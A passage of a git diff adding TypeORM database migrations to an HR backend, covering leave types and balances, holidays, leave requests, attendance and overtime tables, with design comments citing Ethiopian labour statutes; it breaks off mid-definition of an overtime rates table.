"hr"."employee_profiles" + ADD COLUMN IF NOT EXISTS "is_provisional" boolean NOT NULL DEFAULT false`, + ); + // Partial index: the "needs real data" queue is a small subset of a table + // that will grow, and it is the only thing this column is filtered on. + await queryRunner.query( + `CREATE INDEX IF NOT EXISTS "idx_employee_profiles_provisional" + ON "hr"."employee_profiles" ("is_provisional") + WHERE "is_provisional" = true`, + ); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query( + `DROP INDEX IF EXISTS "hr"."idx_employee_profiles_provisional"`, + ); + await queryRunner.query( + `ALTER TABLE "hr"."employee_profiles" DROP COLUMN IF EXISTS "is_provisional"`, + ); + } +} diff --git a/apps/edr-hr-api/src/migrations/3600000000003-HrDropRemainingDenormalizedIam.ts b/apps/edr-hr-api/src/migrations/3600000000003-HrDropRemainingDenormalizedIam.ts new file mode 100644 index 000000000..773252927 --- /dev/null +++ b/apps/edr-hr-api/src/migrations/3600000000003-HrDropRemainingDenormalizedIam.ts @@ -0,0 +1,68 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * Finishes what 3600000000001 started: removes the last IAM facts copied into + * `hr`. + * + * hr.job_positions.unit_id → iam.positions.unit_id + * hr.job_positions.organization_id → iam.positions.organization_id + * hr.unit_hr_profiles.organization_id → iam.units.organization_id + * + * Each was a denormalized cache, and each could disagree with IAM the moment a + * position or unit was moved between units or organizations. Scoping and + * grouping now join IAM instead — cheap, since it is one database and the join + * is on a primary key. + * + * `hr.job_titles.organization_id` deliberately STAYS: a job title has no IAM + * parent to inherit an organization from, so that column is HR's own fact, not + * a copy of anyone else's. + */ +export class HrDropRemainingDenormalizedIam3600000000003 + implements MigrationInterface +{ + name = "HrDropRemainingDenormalizedIam3600000000003"; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query( + `DROP INDEX IF EXISTS "hr"."idx_job_positions_organization_id"`, + ); + await queryRunner.query( + `DROP INDEX IF EXISTS "hr"."idx_unit_hr_profiles_organization_id"`, + ); + + await queryRunner.query( + `ALTER TABLE "hr"."job_positions" DROP COLUMN IF EXISTS "unit_id"`, + ); + await queryRunner.query( + `ALTER TABLE "hr"."job_positions" DROP COLUMN IF EXISTS "organization_id"`, + ); + await queryRunner.query( + `ALTER TABLE "hr"."unit_hr_profiles" DROP COLUMN IF EXISTS "organization_id"`, + ); + } + + public async down(queryRunner: QueryRunner): Promise { + // Restore and backfill from IAM, so a revert lands on correct values. + await queryRunner.query( + `ALTER TABLE "hr"."job_positions" ADD COLUMN IF NOT EXISTS "unit_id" uuid`, + ); + await queryRunner.query( + `ALTER TABLE "hr"."job_positions" ADD COLUMN IF NOT EXISTS "organization_id" uuid`, + ); + await queryRunner.query( + `UPDATE "hr"."job_positions" jp + SET unit_id = p.unit_id, organization_id = p.organization_id + FROM "iam"."positions" p + WHERE p.id = jp.position_id`, + ); + await queryRunner.query( + `ALTER TABLE "hr"."unit_hr_profiles" ADD COLUMN IF NOT EXISTS "organization_id" uuid`, + ); + await queryRunner.query( + `UPDATE "hr"."unit_hr_profiles" up + SET organization_id = u.organization_id + FROM "iam"."units" u + WHERE u.id = up.unit_id`, + ); + } +} diff --git a/apps/edr-hr-api/src/migrations/3600000000004-HrLeaveFoundation.ts b/apps/edr-hr-api/src/migrations/3600000000004-HrLeaveFoundation.ts new file mode 100644 index 000000000..7da8ae79e --- /dev/null +++ b/apps/edr-hr-api/src/migrations/3600000000004-HrLeaveFoundation.ts @@ -0,0 +1,156 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * Leave foundation — Module 3.2, slice 1. + * + * Three tables, none of which decide policy in code: + * + * - `leave_settings` one row per organization: what a leave year is, which + * days are not working days, how carry-over expires. + * - `leave_types` the catalogue. Every statutory number (16 days annual, + * 120 days maternity, …) is a COLUMN here, not a constant + * in a service, because the two statutes in play disagree: + * Labour Proclamation 1156/2019 gives 16 annual days +1 per + * 2 years of service, while Federal Civil Servants + * Proclamation 1064/2017 gives 20 +1 per year. Which one + * applies is a seeding decision, not a code change. + * - `holidays` concrete observed dates. Ethiopian public holidays cannot + * be stored as a fixed Gregorian month/day — the Ethiopian + * calendar drifts against Gregorian by a day around leap + * years, and the Islamic ones move ~11 days a year — so + * each occurrence is its own row and lunar ones are flagged + * estimated until confirmed. + * + * All DDL idempotent, per the house rule. No foreign keys into `iam.*`. + */ +export class HrLeaveFoundation3600000000004 implements MigrationInterface { + name = "HrLeaveFoundation3600000000004"; + + public async up(queryRunner: QueryRunner): Promise { + // ── leave_settings ──────────────────────────────────────────────────── + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."leave_settings" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "leave_year_basis" varchar(20) NOT NULL DEFAULT 'FISCAL_YEAR', + "fiscal_year_start_month" smallint NOT NULL DEFAULT 7, + "fiscal_year_start_day" smallint NOT NULL DEFAULT 8, + "weekend_days" smallint[] NOT NULL DEFAULT '{0}', + "carry_over_deadline_months" smallint NOT NULL DEFAULT 6, + "allow_negative_balance" boolean NOT NULL DEFAULT false, + "statute_reference" varchar(64), + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_leave_settings_year_basis" + CHECK ("leave_year_basis" IN ('FISCAL_YEAR','CALENDAR_YEAR','HIRE_ANNIVERSARY')), + CONSTRAINT "ck_leave_settings_fiscal_month" + CHECK ("fiscal_year_start_month" BETWEEN 1 AND 12), + CONSTRAINT "ck_leave_settings_fiscal_day" + CHECK ("fiscal_year_start_day" BETWEEN 1 AND 31), + CONSTRAINT "ck_leave_settings_carry_over" + CHECK ("carry_over_deadline_months" BETWEEN 0 AND 24) + ) + `); + // Partial unique: a soft-deleted settings row must not block a new one. + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_leave_settings_organization" + ON "hr"."leave_settings" ("organization_id") WHERE "deleted_at" IS NULL + `); + + // ── leave_types ─────────────────────────────────────────────────────── + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."leave_types" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "code" varchar(32) NOT NULL, + "name" jsonb NOT NULL, + "description" jsonb, + "is_paid" boolean NOT NULL DEFAULT true, + "accrual_method" varchar(24) NOT NULL DEFAULT 'ANNUAL_ENTITLEMENT', + "base_days_per_year" numeric(6,2) NOT NULL DEFAULT 0, + "extra_days_per_period" numeric(6,2) NOT NULL DEFAULT 0, + "service_period_years" smallint NOT NULL DEFAULT 0, + "max_days_per_year" numeric(6,2), + "max_carry_over_days" numeric(6,2) NOT NULL DEFAULT 0, + "max_consecutive_days" numeric(6,2), + "min_service_months" smallint NOT NULL DEFAULT 0, + "gender_restriction" varchar(8) NOT NULL DEFAULT 'ANY', + "counts_working_days_only" boolean NOT NULL DEFAULT true, + "allows_half_day" boolean NOT NULL DEFAULT false, + "requires_attachment_after" numeric(6,2), + "requires_approval" boolean NOT NULL DEFAULT true, + "statute_reference" varchar(64), + "sort_order" smallint NOT NULL DEFAULT 100, + "is_active" boolean NOT NULL DEFAULT true, + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_leave_types_accrual_method" + CHECK ("accrual_method" IN ('NONE','ANNUAL_ENTITLEMENT','MONTHLY_ACCRUAL')), + CONSTRAINT "ck_leave_types_gender" + CHECK ("gender_restriction" IN ('ANY','MALE','FEMALE')), + CONSTRAINT "ck_leave_types_base_days" CHECK ("base_days_per_year" >= 0), + CONSTRAINT "ck_leave_types_extra_days" CHECK ("extra_days_per_period" >= 0), + CONSTRAINT "ck_leave_types_carry_over" CHECK ("max_carry_over_days" >= 0), + CONSTRAINT "ck_leave_types_min_service" CHECK ("min_service_months" >= 0), + -- An accrual that grows with service needs a period to grow over; + -- "+1 day every 0 years" would divide by zero at entitlement time. + CONSTRAINT "ck_leave_types_service_period" + CHECK ("extra_days_per_period" = 0 OR "service_period_years" > 0) + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_leave_types_org_code" + ON "hr"."leave_types" ("organization_id", "code") WHERE "deleted_at" IS NULL + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_leave_types_organization_id" + ON "hr"."leave_types" ("organization_id") + `); + + // ── holidays ────────────────────────────────────────────────────────── + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."holidays" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid, + "observed_on" date NOT NULL, + "name" jsonb NOT NULL, + "holiday_type" varchar(16) NOT NULL DEFAULT 'PUBLIC', + "is_estimated" boolean NOT NULL DEFAULT false, + "is_working_day" boolean NOT NULL DEFAULT false, + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_holidays_type" + CHECK ("holiday_type" IN ('PUBLIC','RELIGIOUS','ORGANIZATION')) + ) + `); + // organization_id is nullable — NULL means "national, applies to everyone". + // COALESCE keeps the unique index working across that NULL, which a plain + // multi-column unique index would not (NULLs never collide). + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_holidays_scope_date" + ON "hr"."holidays" ( + COALESCE("organization_id", '00000000-0000-0000-0000-000000000000'::uuid), + "observed_on" + ) WHERE "deleted_at" IS NULL + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_holidays_observed_on" + ON "hr"."holidays" ("observed_on") + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."holidays"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_types"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_settings"`); + } +} diff --git a/apps/edr-hr-api/src/migrations/3600000000005-HrLeaveBalances.ts b/apps/edr-hr-api/src/migrations/3600000000005-HrLeaveBalances.ts new file mode 100644 index 000000000..f85dc6e1e --- /dev/null +++ b/apps/edr-hr-api/src/migrations/3600000000005-HrLeaveBalances.ts @@ -0,0 +1,124 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * Leave balances — Module 3.2, slice 2. + * + * A balance is NOT a column that gets incremented. It is the sum of an + * append-only ledger, because the question people actually ask is never "how + * many days are left" on its own — it is "why is it that number", asked months + * later, usually in a dispute. A mutable counter cannot answer that, and a + * counter plus a separate audit log drifts the first time a write half-fails. + * + * Two tables: + * + * - `leave_entitlements` — one row per employee, per leave type, per leave + * year. The envelope: which year, what was granted, what carried in. Balance + * is not stored on it. + * - `leave_ledger_entries` — every movement, immutable. Grants, carry-over, + * deductions, expiry, adjustments and reversals are all entries; nothing is + * ever updated or deleted, and a mistake is corrected by posting the + * opposite entry so the record of the mistake survives. + * + * `days` is signed: positive adds, negative removes. Summing the column IS the + * balance, which means no code path can produce a balance that disagrees with + * its own history. + */ +export class HrLeaveBalances3600000000005 implements MigrationInterface { + name = "HrLeaveBalances3600000000005"; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."leave_entitlements" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "employee_id" uuid NOT NULL, + "leave_type_id" uuid NOT NULL, + "leave_year_start" date NOT NULL, + "leave_year_end" date NOT NULL, + "entitled_days" numeric(7,2) NOT NULL DEFAULT 0, + "carried_over_days" numeric(7,2) NOT NULL DEFAULT 0, + "carry_over_expires_on" date, + "service_years_at_grant" numeric(5,2) NOT NULL DEFAULT 0, + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "fk_leave_entitlements_type" + FOREIGN KEY ("leave_type_id") REFERENCES "hr"."leave_types" ("id"), + CONSTRAINT "ck_leave_entitlements_year" + CHECK ("leave_year_end" > "leave_year_start"), + CONSTRAINT "ck_leave_entitlements_days" + CHECK ("entitled_days" >= 0 AND "carried_over_days" >= 0) + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_leave_entitlements_employee_type_year" + ON "hr"."leave_entitlements" + ("employee_id", "leave_type_id", "leave_year_start") + WHERE "deleted_at" IS NULL + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_leave_entitlements_employee" + ON "hr"."leave_entitlements" ("employee_id") + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."leave_ledger_entries" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "entitlement_id" uuid NOT NULL, + "entry_type" varchar(16) NOT NULL, + "days" numeric(7,2) NOT NULL, + "effective_on" date NOT NULL, + "reason" varchar(256), + "source_type" varchar(24), + "source_id" uuid, + "reverses_id" uuid, + "created_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + CONSTRAINT "fk_leave_ledger_entitlement" + FOREIGN KEY ("entitlement_id") + REFERENCES "hr"."leave_entitlements" ("id") ON DELETE CASCADE, + CONSTRAINT "fk_leave_ledger_reverses" + FOREIGN KEY ("reverses_id") + REFERENCES "hr"."leave_ledger_entries" ("id"), + CONSTRAINT "ck_leave_ledger_entry_type" + CHECK ("entry_type" IN + ('GRANT','CARRY_OVER','DEDUCTION','EXPIRY','ADJUSTMENT','REVERSAL')), + -- Sign is fixed by type so a "deduction" can never quietly add days. + CONSTRAINT "ck_leave_ledger_sign" CHECK ( + ("entry_type" IN ('GRANT','CARRY_OVER') AND "days" > 0) OR + ("entry_type" IN ('DEDUCTION','EXPIRY') AND "days" < 0) OR + ("entry_type" IN ('ADJUSTMENT','REVERSAL')) + ), + -- A reversal exists only to undo one specific entry. + CONSTRAINT "ck_leave_ledger_reversal_target" CHECK ( + ("entry_type" = 'REVERSAL' AND "reverses_id" IS NOT NULL) OR + ("entry_type" <> 'REVERSAL' AND "reverses_id" IS NULL) + ) + ) + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_leave_ledger_entitlement" + ON "hr"."leave_ledger_entries" ("entitlement_id") + `); + // Looking up "was this request already deducted?" when a request is + // cancelled or amended. + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_leave_ledger_source" + ON "hr"."leave_ledger_entries" ("source_type", "source_id") + WHERE "source_id" IS NOT NULL + `); + // One reversal per entry: reversing twice would credit the days back twice. + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_leave_ledger_one_reversal" + ON "hr"."leave_ledger_entries" ("reverses_id") + WHERE "reverses_id" IS NOT NULL + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_ledger_entries"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_entitlements"`); + } +} diff --git a/apps/edr-hr-api/src/migrations/3600000000006-HrLeaveRequests.ts b/apps/edr-hr-api/src/migrations/3600000000006-HrLeaveRequests.ts new file mode 100644 index 000000000..eaedf0ab8 --- /dev/null +++ b/apps/edr-hr-api/src/migrations/3600000000006-HrLeaveRequests.ts @@ -0,0 +1,96 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * Leave requests — Module 3.2, slice 3. + * + * The request is a document with a state machine; the ledger remains the only + * place days move. An approval writes both in one transaction, so a request can + * never be approved without its deduction (leave taken and not counted) nor + * deducted without being approved (days lost to nothing). + * + * `working_days` and `calendar_days` are BOTH stored, computed at submission + * against the working week and holiday calendar as they stood that day. They are + * not recomputed on read: an employer who moves from a six-day to a five-day + * week must not silently rewrite the length of every absence already taken. + * + * `decided_by_employee_id` is a soft reference to `iam.employees`, like the rest + * of this schema. + */ +export class HrLeaveRequests3600000000006 implements MigrationInterface { + name = "HrLeaveRequests3600000000006"; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."leave_requests" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "employee_id" uuid NOT NULL, + "leave_type_id" uuid NOT NULL, + "status" varchar(16) NOT NULL DEFAULT 'SUBMITTED', + "start_date" date NOT NULL, + "end_date" date NOT NULL, + "is_half_day" boolean NOT NULL DEFAULT false, + "working_days" numeric(7,2) NOT NULL, + "calendar_days" numeric(7,2) NOT NULL, + "charged_days" numeric(7,2) NOT NULL, + "reason" varchar(512), + "contact_during_leave" varchar(64), + "attachment_document_id" uuid, + "approver_employee_id" uuid, + "decided_by_employee_id" uuid, + "decided_at" timestamptz, + "decision_note" varchar(512), + "cancelled_reason" varchar(512), + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "fk_leave_requests_type" + FOREIGN KEY ("leave_type_id") REFERENCES "hr"."leave_types" ("id"), + CONSTRAINT "ck_leave_requests_status" + CHECK ("status" IN + ('DRAFT','SUBMITTED','APPROVED','REJECTED','CANCELLED','WITHDRAWN')), + CONSTRAINT "ck_leave_requests_dates" CHECK ("end_date" >= "start_date"), + CONSTRAINT "ck_leave_requests_days" + CHECK ("working_days" >= 0 AND "calendar_days" >= 0 AND "charged_days" >= 0), + -- A half day is a single date by definition. + CONSTRAINT "ck_leave_requests_half_day" + CHECK ("is_half_day" = false OR "start_date" = "end_date"), + -- A decided request must say who decided it and when. + CONSTRAINT "ck_leave_requests_decision" CHECK ( + "status" NOT IN ('APPROVED','REJECTED') + OR ("decided_by_employee_id" IS NOT NULL AND "decided_at" IS NOT NULL) + ) + ) + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_leave_requests_employee" + ON "hr"."leave_requests" ("employee_id", "start_date") + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_leave_requests_approver" + ON "hr"."leave_requests" ("approver_employee_id") + WHERE "status" = 'SUBMITTED' + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_leave_requests_org_status" + ON "hr"."leave_requests" ("organization_id", "status") + `); + // Overlap detection reads by employee across a date range; a GiST exclusion + // constraint was considered and rejected — a rejected or cancelled request + // may legitimately overlap a later approved one, and the predicate for + // "only the live ones" is not expressible in an exclusion constraint + // without a partial index over a range type this schema does not otherwise + // use. The check lives in the service, which also has to explain itself. + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_leave_requests_live_range" + ON "hr"."leave_requests" ("employee_id", "start_date", "end_date") + WHERE "status" IN ('SUBMITTED','APPROVED') AND "deleted_at" IS NULL + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_requests"`); + } +} diff --git a/apps/edr-hr-api/src/migrations/3600000000007-HrAttendanceFoundation.ts b/apps/edr-hr-api/src/migrations/3600000000007-HrAttendanceFoundation.ts new file mode 100644 index 000000000..2cd06e6a9 --- /dev/null +++ b/apps/edr-hr-api/src/migrations/3600000000007-HrAttendanceFoundation.ts @@ -0,0 +1,174 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * Attendance foundation — Module 3.3, slice 1. + * + * - `work_schedules` shift patterns: when the day starts, how long + * the break is, how late is late. + * - `work_schedule_assignments` who is on which pattern, with effective dates, + * so a shift change does not rewrite the + * attendance already recorded under the old one. + * - `attendance_records` one row per employee per date. `work_date` is + * a DATE, not a timestamp: a night shift that + * ends at 02:00 belongs to the day it started, + * and keying on a timestamp would file it under + * the wrong day and double-count the boundary. + * + * Every timing rule (grace period, hours for a full day) is a column, following + * the same principle as leave: the numbers are an employer's policy, not the + * developer's. + * + * Times are stored as `time` and `timestamptz` deliberately. The clock time a + * shift starts is a wall-clock fact with no date and no zone; a punch is an + * instant and needs both. + */ +export class HrAttendanceFoundation3600000000007 implements MigrationInterface { + name = "HrAttendanceFoundation3600000000007"; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."work_schedules" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "code" varchar(32) NOT NULL, + "name" jsonb NOT NULL, + "start_time" time NOT NULL DEFAULT '08:30', + "end_time" time NOT NULL DEFAULT '17:30', + "break_minutes" smallint NOT NULL DEFAULT 60, + "grace_period_minutes" smallint NOT NULL DEFAULT 10, + "working_days" smallint[], + "min_minutes_full_day" smallint NOT NULL DEFAULT 420, + "min_minutes_half_day" smallint NOT NULL DEFAULT 210, + "crosses_midnight" boolean NOT NULL DEFAULT false, + "is_default" boolean NOT NULL DEFAULT false, + "is_active" boolean NOT NULL DEFAULT true, + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_work_schedules_break" + CHECK ("break_minutes" >= 0 AND "break_minutes" < 1440), + CONSTRAINT "ck_work_schedules_grace" + CHECK ("grace_period_minutes" >= 0 AND "grace_period_minutes" <= 240), + CONSTRAINT "ck_work_schedules_thresholds" + CHECK ("min_minutes_half_day" >= 0 + AND "min_minutes_full_day" >= "min_minutes_half_day"), + -- A shift that ends at or before it starts must say it crosses midnight, + -- or its duration computes as zero or negative. + CONSTRAINT "ck_work_schedules_span" + CHECK ("crosses_midnight" = true OR "end_time" > "start_time") + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_work_schedules_org_code" + ON "hr"."work_schedules" ("organization_id", "code") + WHERE "deleted_at" IS NULL + `); + // At most one default per organization — two would make "which applies?" + // depend on row order. + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_work_schedules_one_default" + ON "hr"."work_schedules" ("organization_id") + WHERE "is_default" = true AND "deleted_at" IS NULL + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."work_schedule_assignments" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "employee_id" uuid NOT NULL, + "work_schedule_id" uuid NOT NULL, + "effective_from" date NOT NULL, + "effective_to" date, + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "fk_schedule_assignments_schedule" + FOREIGN KEY ("work_schedule_id") + REFERENCES "hr"."work_schedules" ("id"), + CONSTRAINT "ck_schedule_assignments_range" + CHECK ("effective_to" IS NULL OR "effective_to" >= "effective_from") + ) + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_schedule_assignments_employee" + ON "hr"."work_schedule_assignments" ("employee_id", "effective_from") + `); + // One open-ended assignment per employee: two would make "current schedule" + // ambiguous, which is the thing this table exists to answer. + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_schedule_assignments_open" + ON "hr"."work_schedule_assignments" ("employee_id") + WHERE "effective_to" IS NULL AND "deleted_at" IS NULL + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."attendance_records" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "employee_id" uuid NOT NULL, + "work_date" date NOT NULL, + "work_schedule_id" uuid, + "check_in" timestamptz, + "check_out" timestamptz, + "status" varchar(16) NOT NULL DEFAULT 'ABSENT', + "worked_minutes" integer NOT NULL DEFAULT 0, + "late_minutes" integer NOT NULL DEFAULT 0, + "early_leave_minutes" integer NOT NULL DEFAULT 0, + "source" varchar(16) NOT NULL DEFAULT 'WEB', + "leave_request_id" uuid, + "notes" varchar(512), + "is_regularized" boolean NOT NULL DEFAULT false, + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "fk_attendance_schedule" + FOREIGN KEY ("work_schedule_id") REFERENCES "hr"."work_schedules" ("id"), + CONSTRAINT "fk_attendance_leave_request" + FOREIGN KEY ("leave_request_id") REFERENCES "hr"."leave_requests" ("id"), + CONSTRAINT "ck_attendance_status" + CHECK ("status" IN + ('PRESENT','LATE','ABSENT','HALF_DAY','ON_LEAVE','HOLIDAY','REST_DAY')), + CONSTRAINT "ck_attendance_source" + CHECK ("source" IN ('WEB','MOBILE','BIOMETRIC','MANUAL','IMPORT','SYSTEM')), + CONSTRAINT "ck_attendance_minutes" + CHECK ("worked_minutes" >= 0 AND "late_minutes" >= 0 + AND "early_leave_minutes" >= 0), + -- Cannot leave before arriving. + CONSTRAINT "ck_attendance_punch_order" + CHECK ("check_out" IS NULL OR "check_in" IS NULL + OR "check_out" >= "check_in"), + -- ON_LEAVE must point at the leave that explains it, so an absence can + -- never be excused by a leave request nobody can find. + CONSTRAINT "ck_attendance_leave_link" + CHECK ("status" <> 'ON_LEAVE' OR "leave_request_id" IS NOT NULL) + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_attendance_employee_date" + ON "hr"."attendance_records" ("employee_id", "work_date") + WHERE "deleted_at" IS NULL + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_attendance_org_date" + ON "hr"."attendance_records" ("organization_id", "work_date") + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_attendance_status" + ON "hr"."attendance_records" ("work_date", "status") + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."attendance_records"`); + await queryRunner.query( + `DROP TABLE IF EXISTS "hr"."work_schedule_assignments"`, + ); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."work_schedules"`); + } +} diff --git a/apps/edr-hr-api/src/migrations/3600000000008-HrAttendanceOvertime.ts b/apps/edr-hr-api/src/migrations/3600000000008-HrAttendanceOvertime.ts new file mode 100644 index 000000000..3aa9f1e89 --- /dev/null +++ b/apps/edr-hr-api/src/migrations/3600000000008-HrAttendanceOvertime.ts @@ -0,0 +1,168 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * Regularization and overtime — Module 3.3, slice 2. + * + * - `attendance_regularizations` a request to correct a punch that was missed + * or wrong. The correction is applied only on + * approval, and the original values are kept on + * the row, so "what did it say before?" is + * answerable without an audit table. + * - `overtime_rates` the multipliers, per organization. Data, not + * constants: Proclamation 1156/2019 Art. 68 + * sets 1.5× ordinary, 1.75× night, 2× on the + * weekly rest day and 2.5× on a public holiday, + * and an employer may pay more but not less. + * - `overtime_requests` hours claimed, with the category and the + * multiplier FROZEN at approval — a rate change + * next year must not silently reprice work + * already done and already paid. + * + * Art. 67 caps overtime at two hours a day; that limit is a column on the rate + * table rather than a constant, for the same reason. + */ +export class HrAttendanceOvertime3600000000008 implements MigrationInterface { + name = "HrAttendanceOvertime3600000000008"; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."attendance_regularizations" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "employee_id" uuid NOT NULL, + "attendance_record_id" uuid, + "work_date" date NOT NULL, + "requested_check_in" timestamptz, + "requested_check_out" timestamptz, + "original_check_in" timestamptz, + "original_check_out" timestamptz, + "original_status" varchar(16), + "reason" varchar(512) NOT NULL, + "status" varchar(16) NOT NULL DEFAULT 'SUBMITTED', + "approver_employee_id" uuid, + "decided_by_employee_id" uuid, + "decided_at" timestamptz, + "decision_note" varchar(512), + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "fk_regularizations_record" + FOREIGN KEY ("attendance_record_id") + REFERENCES "hr"."attendance_records" ("id"), + CONSTRAINT "ck_regularizations_status" + CHECK ("status" IN ('SUBMITTED','APPROVED','REJECTED','WITHDRAWN')), + CONSTRAINT "ck_regularizations_punch_order" + CHECK ("requested_check_out" IS NULL OR "requested_check_in" IS NULL + OR "requested_check_out" >= "requested_check_in"), + -- A correction that corrects nothing is not a correction. + CONSTRAINT "ck_regularizations_something" + CHECK ("requested_check_in" IS NOT NULL + OR "requested_check_out" IS NOT NULL), + CONSTRAINT "ck_regularizations_decision" CHECK ( + "status" NOT IN ('APPROVED','REJECTED') + OR ("decided_by_employee_id" IS NOT NULL AND "decided_at" IS NOT NULL) + ) + ) + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_regularizations_employee" + ON "hr"."attendance_regularizations" ("employee_id", "work_date") + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_regularizations_approver" + ON "hr"."attendance_regularizations" ("approver_employee_id") + WHERE "status" = 'SUBMITTED' + `); + // One open request per day: two competing corrections for the same date + // would make "which one did we apply?" depend on approval order. + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_regularizations_open_per_day" + ON "hr"."attendance_regularizations" ("employee_id", "work_date") + WHERE "status" = 'SUBMITTED' AND "deleted_at" IS NULL + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."overtime_rates" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "category" varchar(24) NOT NULL, + 